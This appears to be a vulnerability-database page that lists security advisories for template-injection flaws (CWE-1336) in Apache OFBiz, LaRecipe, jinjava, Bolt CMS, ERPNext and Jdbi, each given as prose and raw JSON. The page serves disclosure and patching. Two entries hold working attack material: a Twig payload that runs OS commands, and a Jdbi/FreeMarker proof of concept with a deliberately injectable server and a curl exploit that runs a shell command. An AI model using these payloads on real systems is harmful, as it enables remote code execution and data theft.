Common Weakness Enumeration

CWE-1336

Allowed

Improper Neutralization of Special Elements Used in a Template Engine

Abstraction: Base · Status: Incomplete

API response cwe.mitre.org

The product uses a template engine to insert or process externally-influenced input, but it does not neutralize or incorrectly neutralizes special elements or syntax that can be interpreted as template expressions or other code directives when processed by the engine.

398 vulnerabilities reference this CWE, most recent first.

GHSA-JQMC-X3RH-92Q5

Vulnerability from github – Published: 2026-05-19 12:31 – Updated: 2026-05-19 21:32
VLAI
Details

Improper Neutralization of Special Elements Used in a Template Engine vulnerability in Apache OFBiz.

This issue affects Apache OFBiz: before 24.09.06.

Users are recommended to upgrade to version 24.09.06, which fixes the issue.

Please note that in the updated version, "Data Resource" records with dataTemplateTypeId = "FTL" are no longer supported.

Additionally, in the updated version, the "Ecommerce Customer" security group no longer includes content management grants. Users are advised to remove these permissions from any production site as well.

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
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{
  "affected": [],
  "aliases": [
    "CVE-2026-29207"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1336"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-05-19T10:16:22Z",
    "severity": "MODERATE"
  },
  "details": "Improper Neutralization of Special Elements Used in a Template Engine vulnerability in Apache OFBiz.\n\nThis issue affects Apache OFBiz: before 24.09.06.\n\nUsers are recommended to upgrade to version 24.09.06, which fixes the issue.\n\nPlease note that in the updated version, \"Data Resource\" records with dataTemplateTypeId = \"FTL\" are no longer supported.\n\nAdditionally, in the updated version, the \"Ecommerce Customer\" security group no longer includes content management grants. Users are advised to remove these permissions from any production site as well.",
  "id": "GHSA-jqmc-x3rh-92q5",
  "modified": "2026-05-19T21:32:02Z",
  "published": "2026-05-19T12:31:37Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-29207"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread/3rcrp8bh3x6ovrj5xnc0fm1f0nrn52r0"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2026/05/19/14"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-JV7X-XHV2-P5V2

Vulnerability from github – Published: 2025-07-14 21:22 – Updated: 2025-07-28 16:50
VLAI
Summary
LaRecipe is vulnerable to Server-Side Template Injection attacks
Details

Impact

Attackers could: 1. Execute arbitrary commands on the server 2. Access sensitive environment variables 3. Escalate access depending on server configuration

A critical vulnerability was discovered in LaRecipe that allows an attacker to perform Server-Side Template Injection (SSTI), potentially leading to Remote Code Execution (RCE) in vulnerable configurations.

Patches

Users are strongly advised to upgrade to version v2.8.1 or later.

Credit

We would like to thank Roman Ananev for responsibly identifying and reporting this vulnerability.

Severity
10.0 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
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{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "binarytorch/larecipe"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.8.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-53833"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1336"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-07-14T21:22:01Z",
    "nvd_published_at": "2025-07-14T23:15:24Z",
    "severity": "CRITICAL"
  },
  "details": "### Impact\nAttackers could:\n1. Execute arbitrary commands on the server\n2. Access sensitive environment variables\n3. Escalate access depending on server configuration\n\nA critical vulnerability was discovered in LaRecipe that allows an attacker to perform Server-Side Template Injection (SSTI), potentially leading to Remote Code Execution (RCE) in vulnerable configurations.\n\n### Patches\nUsers are strongly advised to upgrade to version v2.8.1 or later.\n\n### Credit\nWe would like to thank **Roman Ananev** for responsibly identifying and reporting this vulnerability.",
  "id": "GHSA-jv7x-xhv2-p5v2",
  "modified": "2025-07-28T16:50:03Z",
  "published": "2025-07-14T21:22:01Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/saleem-hadad/larecipe/security/advisories/GHSA-jv7x-xhv2-p5v2"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-53833"
    },
    {
      "type": "WEB",
      "url": "https://github.com/saleem-hadad/larecipe/pull/390"
    },
    {
      "type": "WEB",
      "url": "https://github.com/saleem-hadad/larecipe/commit/c1d0d56889655ce5f2645db5acf0e78d5fc3b36b"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/saleem-hadad/larecipe"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "LaRecipe is vulnerable to Server-Side Template Injection attacks"
}

GHSA-M49C-G9WR-HV6V

Vulnerability from github – Published: 2025-09-17 19:56 – Updated: 2026-07-31 22:15
VLAI
Summary
jinjava has Sandbox Bypass via JavaType-Based Deserialization
Details

Summary

jinjava’s current sandbox restrictions prevent direct access to dangerous methods such as getClass(), and block instantiation of Class objects. However, these protections can be bypassed.

By using mapper.getTypeFactory().constructFromCanonical(), it is possible to instruct the underlying ObjectMapper to deserialize attacker-controlled input into arbitrary classes. This enables the creation of semi-arbitrary class instances without directly invoking restricted methods or class literals.

As a result, an attacker can escape the sandbox and instantiate classes such as java.net.URL, opening up the ability to access local files and URLs(e.g., file:///etc/passwd). With further chaining, this primitive can potentially lead to remote code execution (RCE).

Details

jinjava templates expose a built-in variable ____int3rpr3t3r____, which provides direct access to the jinjavaInterpreter instance. This variable was previously abused and protections were added to prevent call method from JinjavaInterpreter instances (see Add interpreter to blacklist). However, interacting with the properties of JinjavaInterpreter instances remains unrestricted.

From ____int3rpr3t3r____, it is possible to traverse to the config field, which exposes an ObjectMapper. By invoking readValue(String content, JavaType valueType) on this ObjectMapper, an attacker can instantiate arbitrary classes specified via JavaType.

Although jinjava explicitly restricts dangerous classes such as Class, ClassLoader, and so on inside JinjavaBeanELResolver, the JavaType class itself is not restricted.

As a result, an attacker can leverage JavaType construction (constructFromCanonical) to instantiate semi-arbitrary classes without directly calling restricted methods.

This allows sandbox escape and the creation of powerful primitives.

Impact

Escape the Jinjava sandbox and instantiate a wide range of classes using JavaType. This capability can be used to read arbitrary files and to perform full read SSRF by creating network-related objects. In certain environments, depending on the available classes, this primitive can even lead to complete remote code execution.

Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.hubspot.jinjava:jinjava"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.8.0"
            },
            {
              "fixed": "2.8.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "2.8.0"
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.hubspot.jinjava:jinjava"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.7.0"
            },
            {
              "fixed": "2.7.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-59340"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1336"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-09-17T19:56:21Z",
    "nvd_published_at": "2025-09-17T20:15:36Z",
    "severity": "CRITICAL"
  },
  "details": "### Summary\n\njinjava\u2019s current sandbox restrictions prevent direct access to dangerous methods such as `getClass()`, and block instantiation of Class objects. However, these protections can be bypassed.\n\nBy using mapper.getTypeFactory().constructFromCanonical(), it is possible to instruct the underlying ObjectMapper to deserialize attacker-controlled input into arbitrary classes. This enables the creation of semi-arbitrary class instances without directly invoking restricted methods or class literals.\n\nAs a result, an attacker can escape the sandbox and instantiate classes such as java.net.URL, opening up the ability to access local files and URLs(e.g., file:///etc/passwd). With further chaining, this primitive can potentially lead to remote code execution (RCE).\n\n### Details\n\njinjava templates expose a built-in variable `____int3rpr3t3r____`, which provides direct access to the jinjavaInterpreter instance.\nThis variable was previously abused and protections were added to prevent call method from `JinjavaInterpreter` instances (see [Add interpreter to blacklist](https://github.com/HubSpot/jinjava/commit/1b9aaa4b420c58b4a301cf4b7d26207f1c8d1165)).\nHowever, interacting with the properties of `JinjavaInterpreter` instances remains [unrestricted](https://github.com/HubSpot/jinjava/blob/jinjava-2.8.0/src/main/java/com/hubspot/jinjava/el/ext/JinjavaBeanELResolver.java#L80-L84).\n\nFrom `____int3rpr3t3r____`, it is possible to traverse to the `config` field, which exposes an ObjectMapper. By invoking `readValue(String content, JavaType valueType)` on this ObjectMapper, an attacker can instantiate arbitrary classes specified via `JavaType`.\n\nAlthough jinjava explicitly restricts dangerous classes such as `Class`, `ClassLoader`, and so on inside `JinjavaBeanELResolver`, the `JavaType` class itself is [not restricted](https://github.com/HubSpot/jinjava/blob/jinjava-2.8.0/src/main/java/com/hubspot/jinjava/el/ext/JinjavaBeanELResolver.java#L246-L262). \n\nAs a result, an attacker can leverage `JavaType` construction (`constructFromCanonical`) to instantiate semi-arbitrary classes without directly calling restricted methods.\n\nThis allows sandbox escape and the creation of powerful primitives. \n\n### Impact\nEscape the Jinjava sandbox and instantiate a wide range of classes using JavaType.\nThis capability can be used to read arbitrary files and to perform full read SSRF by creating network-related objects.\nIn certain environments, depending on the available classes, this primitive can even lead to complete remote code execution.",
  "id": "GHSA-m49c-g9wr-hv6v",
  "modified": "2026-07-31T22:15:57Z",
  "published": "2025-09-17T19:56:21Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/HubSpot/jinjava/security/advisories/GHSA-m49c-g9wr-hv6v"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-59340"
    },
    {
      "type": "WEB",
      "url": "https://github.com/github/advisory-database/pull/8141"
    },
    {
      "type": "WEB",
      "url": "https://github.com/HubSpot/jinjava/commit/66df351e7e8ad71ca04dcacb4b65782af820b8b1"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/HubSpot/jinjava"
    },
    {
      "type": "WEB",
      "url": "https://github.com/HubSpot/jinjava/releases/tag/jinjava-2.7.5"
    },
    {
      "type": "WEB",
      "url": "https://github.com/HubSpot/jinjava/releases/tag/jinjava-2.8.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "jinjava has Sandbox Bypass via JavaType-Based Deserialization"
}

GHSA-M6XJ-XX3F-5VV9

Vulnerability from github – Published: 2026-08-05 15:32 – Updated: 2026-08-05 15:32
VLAI
Details

Bolt CMS renders content field values through Twig's full application-level Environment with no SandboxExtension registered anywhere in the codebase. In src/Entity/Field.php, getTwigValue() calls shouldBeRenderedAsTwig(), which gates rendering only on the field definition's allow_twig flag and a regex checking for {{, {%, or {#; when true, the raw field value is compiled and rendered via self::getTwig()->createTemplate($value)->render(['record' => $this->getContent()]) with no sandboxing. Bolt's own bundled config/bolt/contenttypes.yaml sets allow_twig: true on the default "pages" contenttype's content field out of the box. Any user with edit access to that content type (a standard editor role, not just an administrator) can inject a Twig payload such as {{ ['id']|map('passthru')|join }} that executes arbitrary OS commands when the content is saved and rendered, achieving remote code execution as the web server user.

Severity
8.8 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
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{
  "affected": [],
  "aliases": [
    "CVE-2026-71291"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1336"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-05T13:24:53Z",
    "severity": "HIGH"
  },
  "details": "Bolt CMS renders content field values through Twig\u0027s full application-level Environment with no SandboxExtension registered anywhere in the codebase. In src/Entity/Field.php, getTwigValue() calls shouldBeRenderedAsTwig(), which gates rendering only on the field definition\u0027s allow_twig flag and a regex checking for `{{`, `{%`, or `{#`; when true, the raw field value is compiled and rendered via `self::getTwig()-\u003ecreateTemplate($value)-\u003erender([\u0027record\u0027 =\u003e $this-\u003egetContent()])` with no sandboxing. Bolt\u0027s own bundled config/bolt/contenttypes.yaml sets `allow_twig: true` on the default \"pages\" contenttype\u0027s content field out of the box. Any user with edit access to that content type (a standard editor role, not just an administrator) can inject a Twig payload such as `{{ [\u0027id\u0027]|map(\u0027passthru\u0027)|join }}` that executes arbitrary OS commands when the content is saved and rendered, achieving remote code execution as the web server user.",
  "id": "GHSA-m6xj-xx3f-5vv9",
  "modified": "2026-08-05T15:32:21Z",
  "published": "2026-08-05T15:32:21Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-71291"
    },
    {
      "type": "WEB",
      "url": "https://github.com/bolt/core"
    },
    {
      "type": "WEB",
      "url": "https://github.com/bolt/core/blob/6.1/src/Entity/Field.php"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-MC79-8XP6-RCW8

Vulnerability from github – Published: 2025-12-15 18:30 – Updated: 2025-12-16 21:30
VLAI
Details

An SSTI (Server-Side Template Injection) vulnerability exists in the get_terms_and_conditions method of Frappe ERPNext through 15.89.0. The function renders attacker-controlled Jinja2 templates (terms) using frappe.render_template() with a user-supplied context (doc). Although Frappe uses a custom SandboxedEnvironment, several dangerous globals such as frappe.db.sql are still available in the execution context via get_safe_globals(). An authenticated attacker with access to create or modify a Terms and Conditions document can inject arbitrary Jinja expressions into the terms field, resulting in server-side code execution within a restricted but still unsafe context. This vulnerability can be used to leak database information.

Severity
4.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
Show details on source website
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{
  "affected": [],
  "aliases": [
    "CVE-2025-66436"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1336",
      "CWE-918",
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-12-15T18:15:48Z",
    "severity": "MODERATE"
  },
  "details": "An SSTI (Server-Side Template Injection) vulnerability exists in the get_terms_and_conditions method of Frappe ERPNext through 15.89.0. The function renders attacker-controlled Jinja2 templates (terms) using frappe.render_template() with a user-supplied context (doc). Although Frappe uses a custom SandboxedEnvironment, several dangerous globals such as frappe.db.sql are still available in the execution context via get_safe_globals(). An authenticated attacker with access to create or modify a Terms and Conditions document can inject arbitrary Jinja expressions into the terms field, resulting in server-side code execution within a restricted but still unsafe context. This vulnerability can be used to leak database information.",
  "id": "GHSA-mc79-8xp6-rcw8",
  "modified": "2025-12-16T21:30:52Z",
  "published": "2025-12-15T18:30:40Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-66436"
    },
    {
      "type": "WEB",
      "url": "https://iamanc.github.io/post/erpnext-ssti-bug-3"
    },
    {
      "type": "WEB",
      "url": "https://www.notion.so/SSTI-bug-3-239e6086eadc8020aeecdaf123e32f3d?source=copy_link"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-MGGX-P7JF-JGW4

Vulnerability from github – Published: 2026-05-05 22:15 – Updated: 2026-05-05 22:15
VLAI
Summary
jdbi3-freemarker Vulnerable to Improper Neutralization of Special Elements Used in FreeMarker Template Engine
Details

Summary

Description

An Improper Neutralization of Special Elements Used in a Template Engine (CWE-1336) vulnerability in Jdbi allows arbitrary command execution when an application using jdbi3-freemarker permits attacker-influenced text to reach FreemarkerEngine.parse() as template source. This affects org.jdbi:jdbi3-freemarker through version 3.52.1.

The developer opts into FreeMarker-backed SQL templating, but does not explicitly opt into reflective Java class loading from template source.

Jdbi’s FreeMarker integration should not expose unrestricted Java class instantiation by default in a SQL templating module. While the SQL injection risk is acknowledged, Jdbi’s documentation explicitly supports and demonstrates dynamic SQL templating through defined attributes, including substitution of non-bindable SQL elements such ORDER BY columns.

Details

Jdbi constructs the underlying freemarker.template.Configuration with DEFAULT_INCOMPATIBLE_IMPROVEMENTS and never installs a TemplateClassResolver, so Freemarker's legacy UNRESTRICTED_RESOLVER remains active and the ?new built-in can instantiate arbitrary classes, including freemarker.template.utility.Execute.

Two Configuration instances are constructed in the module, neither of which is hardened:

// freemarker/src/main/java/org/jdbi/v3/freemarker/FreemarkerConfig.java
public FreemarkerConfig() {
    freemarkerConfiguration = new Configuration(Configuration.DEFAULT_INCOMPATIBLE_IMPROVEMENTS);
    freemarkerConfiguration.setTemplateLoader(new ClassTemplateLoader(selectClassLoader(), "/"));
    freemarkerConfiguration.setNumberFormat("computer");
}

// freemarker/src/main/java/org/jdbi/v3/freemarker/FreemarkerSqlLocator.java
static {
    Configuration c = new Configuration(Configuration.DEFAULT_INCOMPATIBLE_IMPROVEMENTS);
    c.setTemplateLoader(new ClassTemplateLoader(selectClassLoader(), "/"));
    c.setNumberFormat("computer");
    CONFIGURATION = c;
}

The locator's CONFIGURATION is initialized once at class load and used by the deprecated static findTemplate(Class, String). It cannot be replaced via FreemarkerConfig#setFreemarkerConfiguration(...), so any fix must land in both call sites.

The sink is FreemarkerEngine.parse(), which constructs a Template from the raw SQL string and renders it against ctx.getAttributes():

// freemarker/src/main/java/org/jdbi/v3/freemarker/FreemarkerEngine.java
Template template = new Template(null, sqlTemplate,
        config.get(FreemarkerConfig.class).getFreemarkerConfiguration());
return Optional.of(ctx -> {
    StringWriter writer = new StringWriter();
    template.process(ctx.getAttributes(), writer);
    return writer.toString();
});

Freemarker is the only built-in engine whose parse path provides reflective class loading by default.

Impact

This impacts all jdbi3-freemarker releases through 3.52.1. Exploitation requires that an application depend on jdbi3-freemarkerand allow request-derived text to flow into a SQL template body passed to Handle.createQuery(String), createUpdate(String), createCall(String), createScript(String), or Batch.add(String), or into a defined attribute that the template subsequently re-evaluates with ?eval or ?interpret.

An application that allows attacker-influenced text to become FreeMarker template source, either directly through a SQL string passed to Jdbi or indirectly through a trusted template that applies ?eval / ?interpret to an attacker-influenced defined attribute, can become an RCE sink in the application JVM.

Proposed Patch

The injection surface is the Configuration constructed by Jdbi on the application's behalf without a class-resolver policy.

FreemarkerConfig and FreemarkerSqlLocator's static initializer should not allow SQL templates to instantiate arbitrary Java classes by default. Callers that genuinely need reflective ?new can override the Configuration via FreemarkerConfig#setFreemarkerConfiguration(...).

The static CONFIGURATION field cannot be reconfigured by application code at runtime, so a fix limited to FreemarkerConfig leaves the legacy locator path exploitable.

import freemarker.core.TemplateClassResolver;

// FreemarkerConfig.java
public FreemarkerConfig() {
    freemarkerConfiguration = new Configuration(Configuration.DEFAULT_INCOMPATIBLE_IMPROVEMENTS);
    freemarkerConfiguration.setTemplateLoader(new ClassTemplateLoader(selectClassLoader(), "/"));
    freemarkerConfiguration.setNumberFormat("computer");
    freemarkerConfiguration.setNewBuiltinClassResolver(TemplateClassResolver.ALLOWS_NOTHING_RESOLVER);
}

// FreemarkerSqlLocator.java
static {
    Configuration c = new Configuration(Configuration.DEFAULT_INCOMPATIBLE_IMPROVEMENTS);
    c.setTemplateLoader(new ClassTemplateLoader(selectClassLoader(), "/"));
    c.setNumberFormat("computer");
    c.setNewBuiltinClassResolver(TemplateClassResolver.ALLOWS_NOTHING_RESOLVER);
    CONFIGURATION = c;
}

ALLOWS_NOTHING_RESOLVER rejects every ?new lookup, which is sufficient for SQL templating.SAFER_RESOLVER also closes RCE and blocks only Execute, ObjectConstructor, and JythonRuntime, none of which a SQL template would ever need. A complete hardening also restricts the template loader to a non-root prefix.

Proof of Concept

This PoC uses direct string concatenation to simulate an application passing un-sanitized, request-derived text to the SQL template engine. The same RCE payload works if the attacker input is passed through a Jdbi @Define attribute that the template subsequently evaluates.

# Create project directory
mkdir jdbi-freemarker-poc && cd jdbi-freemarker-poc

cat > pom.xml << 'EOF'
<project xmlns="http://maven.apache.org/POM/4.0.0">
  <modelVersion>4.0.0</modelVersion>
  <groupId>poc</groupId>
  <artifactId>jdbi-freemarker-poc</artifactId>
  <version>1.0</version>
  <properties>
    <maven.compiler.release>17</maven.compiler.release>
    <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
  </properties>
  <dependencies>
    <dependency>
      <groupId>org.jdbi</groupId>
      <artifactId>jdbi3-core</artifactId>
      <version>3.52.1</version>
    </dependency>
    <dependency>
      <groupId>org.jdbi</groupId>
      <artifactId>jdbi3-freemarker</artifactId>
      <version>3.52.1</version>
    </dependency>
    <dependency>
      <groupId>com.h2database</groupId>
      <artifactId>h2</artifactId>
      <version>2.2.224</version>
    </dependency>
  </dependencies>
  <build>
    <plugins>
      <plugin>
        <groupId>org.apache.maven.plugins</groupId>
        <artifactId>maven-compiler-plugin</artifactId>
        <version>3.13.0</version>
      </plugin>
    </plugins>
  </build>
</project>
EOF

mkdir -p src/main/java
cat > src/main/java/Server.java << 'EOF'
import com.sun.net.httpserver.HttpServer;
import org.jdbi.v3.core.Jdbi;
import org.jdbi.v3.core.statement.SqlStatements;
import org.jdbi.v3.freemarker.FreemarkerEngine;

import java.net.InetSocketAddress;
import java.net.URLDecoder;
import java.nio.charset.StandardCharsets;
import java.util.HashMap;
import java.util.Map;

public class Server {
    public static void main(String[] args) throws Exception {
        Jdbi jdbi = Jdbi.create("jdbc:h2:mem:poc;DB_CLOSE_DELAY=-1");
        jdbi.getConfig(SqlStatements.class)
            .setTemplateEngine(FreemarkerEngine.instance());
        jdbi.useHandle(h -> {
            h.execute("create table users (id int, email varchar)");
            h.execute("insert into users values (1,'alice@example.com'),(2,'bob@example.com')");
        });

        HttpServer http = HttpServer.create(new InetSocketAddress(8050), 0);
        http.createContext("/search", ex -> {
            String q = parseQuery(ex.getRequestURI().getRawQuery()).getOrDefault("q", "");
            String sql = "select email from users where email like '%" + q + "%'";
            String body;
            try {
                body = jdbi.withHandle(h ->
                    h.createQuery(sql).mapTo(String.class).list().toString());
            } catch (Exception e) {
                body = "error: " + e.getMessage();
            }
            byte[] bytes = body.getBytes(StandardCharsets.UTF_8);
            ex.sendResponseHeaders(200, bytes.length);
            ex.getResponseBody().write(bytes);
            ex.close();
        });
        http.start();
        System.out.println("listening on http://127.0.0.1:8050/search?q=...");
    }

    private static Map<String, String> parseQuery(String raw) {
        Map<String, String> out = new HashMap<>();
        if (raw == null) return out;
        for (String pair : raw.split("&")) {
            int eq = pair.indexOf('=');
            if (eq < 0) continue;
            out.put(URLDecoder.decode(pair.substring(0, eq), StandardCharsets.UTF_8),
                    URLDecoder.decode(pair.substring(eq + 1), StandardCharsets.UTF_8));
        }
        return out;
    }
}
EOF

mvn -q package
java -cp "target/classes:$(mvn -q dependency:build-classpath -Dmdep.outputFile=/dev/stdout)" Server &

Benign Request

$ curl -s 'http://127.0.0.1:8050/search?q=alice'
[alice@example.com]

Exploit

$ curl -sG 'http://127.0.0.1:8050/search' \
    --data-urlencode 'q=<#assign ex="freemarker.template.utility.Execute"?new()>${ex("touch /tmp/jdbi-pwned")}'
[alice@example.com, bob@example.com]

$ ls -la /tmp/jdbi-pwned
-rw-r--r-- 1 wodzen wodzen 0 Apr 27 02:21 /tmp/jdbi-pwned
Severity
7.5 (High)
CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.52.1"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "org.jdbi:jdbi3-freemarker"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.53.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-1336",
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-05T22:15:17Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "# Summary\n\n**Description**\n\nAn Improper Neutralization of Special Elements Used in a Template Engine (CWE-1336) vulnerability in Jdbi allows arbitrary command execution when an application using `jdbi3-freemarker` permits attacker-influenced text to reach `FreemarkerEngine.parse()` as template source. This affects `org.jdbi:jdbi3-freemarker` through version 3.52.1.\n\nThe developer opts into FreeMarker-backed SQL templating, but does not explicitly opt into reflective Java class loading from template source.\n\nJdbi\u2019s FreeMarker integration should not expose unrestricted Java class instantiation by default in a SQL templating module. While the SQL injection risk is acknowledged, Jdbi\u2019s documentation explicitly supports and demonstrates dynamic SQL templating through defined attributes, including substitution of non-bindable SQL elements such `ORDER BY` columns. \n## Details\n\nJdbi constructs the underlying `freemarker.template.Configuration` with `DEFAULT_INCOMPATIBLE_IMPROVEMENTS` and never installs a `TemplateClassResolver`, so Freemarker\u0027s legacy `UNRESTRICTED_RESOLVER` remains active and the `?new` built-in can instantiate arbitrary classes, including `freemarker.template.utility.Execute`.\n\nTwo `Configuration` instances are constructed in the module, neither of which is hardened:\n```java\n// freemarker/src/main/java/org/jdbi/v3/freemarker/FreemarkerConfig.java\npublic FreemarkerConfig() {\n    freemarkerConfiguration = new Configuration(Configuration.DEFAULT_INCOMPATIBLE_IMPROVEMENTS);\n    freemarkerConfiguration.setTemplateLoader(new ClassTemplateLoader(selectClassLoader(), \"/\"));\n    freemarkerConfiguration.setNumberFormat(\"computer\");\n}\n```\n\n```java\n// freemarker/src/main/java/org/jdbi/v3/freemarker/FreemarkerSqlLocator.java\nstatic {\n    Configuration c = new Configuration(Configuration.DEFAULT_INCOMPATIBLE_IMPROVEMENTS);\n    c.setTemplateLoader(new ClassTemplateLoader(selectClassLoader(), \"/\"));\n    c.setNumberFormat(\"computer\");\n    CONFIGURATION = c;\n}\n```\nThe locator\u0027s `CONFIGURATION` is initialized once at class load and used by the deprecated static `findTemplate(Class, String)`. It cannot be replaced via `FreemarkerConfig#setFreemarkerConfiguration(...)`, so any fix must land in both call sites.\n\nThe sink is `FreemarkerEngine.parse()`, which constructs a `Template` from the raw SQL string and renders it against `ctx.getAttributes()`:\n```java\n// freemarker/src/main/java/org/jdbi/v3/freemarker/FreemarkerEngine.java\nTemplate template = new Template(null, sqlTemplate,\n        config.get(FreemarkerConfig.class).getFreemarkerConfiguration());\nreturn Optional.of(ctx -\u003e {\n    StringWriter writer = new StringWriter();\n    template.process(ctx.getAttributes(), writer);\n    return writer.toString();\n});\n```\n\nFreemarker is the only built-in engine whose parse path provides reflective class loading by default.\n## Impact\n\nThis impacts all `jdbi3-freemarker` releases through 3.52.1. Exploitation requires that an application depend on `jdbi3-freemarker`and allow request-derived text to flow into a SQL template body passed to `Handle.createQuery(String)`, `createUpdate(String)`, `createCall(String)`, `createScript(String)`, or `Batch.add(String)`, or into a defined attribute that the template subsequently re-evaluates with `?eval` or `?interpret`.\n\nAn application that allows attacker-influenced text to become FreeMarker template source, either directly through a SQL string passed to Jdbi or indirectly through a trusted template that applies `?eval` / `?interpret` to an attacker-influenced defined attribute, can become an RCE sink in the application JVM.\n## Proposed Patch\n\nThe injection surface is the `Configuration` constructed by Jdbi on the application\u0027s behalf without a class-resolver policy.\n\n`FreemarkerConfig`\u00a0and\u00a0`FreemarkerSqlLocator`\u0027s static initializer should not allow SQL templates to instantiate arbitrary Java classes by default. Callers that genuinely need reflective\u00a0`?new`\u00a0can override the\u00a0`Configuration`\u00a0via\u00a0`FreemarkerConfig#setFreemarkerConfiguration(...)`.\n\nThe static `CONFIGURATION` field cannot be reconfigured by application code at runtime, so a fix limited to `FreemarkerConfig` leaves the legacy locator path exploitable.\n```java\nimport freemarker.core.TemplateClassResolver;\n\n// FreemarkerConfig.java\npublic FreemarkerConfig() {\n    freemarkerConfiguration = new Configuration(Configuration.DEFAULT_INCOMPATIBLE_IMPROVEMENTS);\n    freemarkerConfiguration.setTemplateLoader(new ClassTemplateLoader(selectClassLoader(), \"/\"));\n    freemarkerConfiguration.setNumberFormat(\"computer\");\n    freemarkerConfiguration.setNewBuiltinClassResolver(TemplateClassResolver.ALLOWS_NOTHING_RESOLVER);\n}\n\n// FreemarkerSqlLocator.java\nstatic {\n    Configuration c = new Configuration(Configuration.DEFAULT_INCOMPATIBLE_IMPROVEMENTS);\n    c.setTemplateLoader(new ClassTemplateLoader(selectClassLoader(), \"/\"));\n    c.setNumberFormat(\"computer\");\n    c.setNewBuiltinClassResolver(TemplateClassResolver.ALLOWS_NOTHING_RESOLVER);\n    CONFIGURATION = c;\n}\n```\n\n`ALLOWS_NOTHING_RESOLVER` rejects every `?new` lookup, which is sufficient for SQL templating.`SAFER_RESOLVER` also closes RCE and blocks only `Execute`, `ObjectConstructor`, and `JythonRuntime`, none of which a SQL template would ever need. A complete hardening also restricts the template loader to a non-root prefix.\n\n## Proof of Concept\n\nThis PoC uses direct string concatenation to simulate an application passing un-sanitized, request-derived text to the SQL template engine. The same RCE payload works if the attacker input is passed through a Jdbi `@Define` attribute that the template subsequently evaluates.\n```bash\n# Create project directory\nmkdir jdbi-freemarker-poc \u0026\u0026 cd jdbi-freemarker-poc\n\ncat \u003e pom.xml \u003c\u003c \u0027EOF\u0027\n\u003cproject xmlns=\"http://maven.apache.org/POM/4.0.0\"\u003e\n  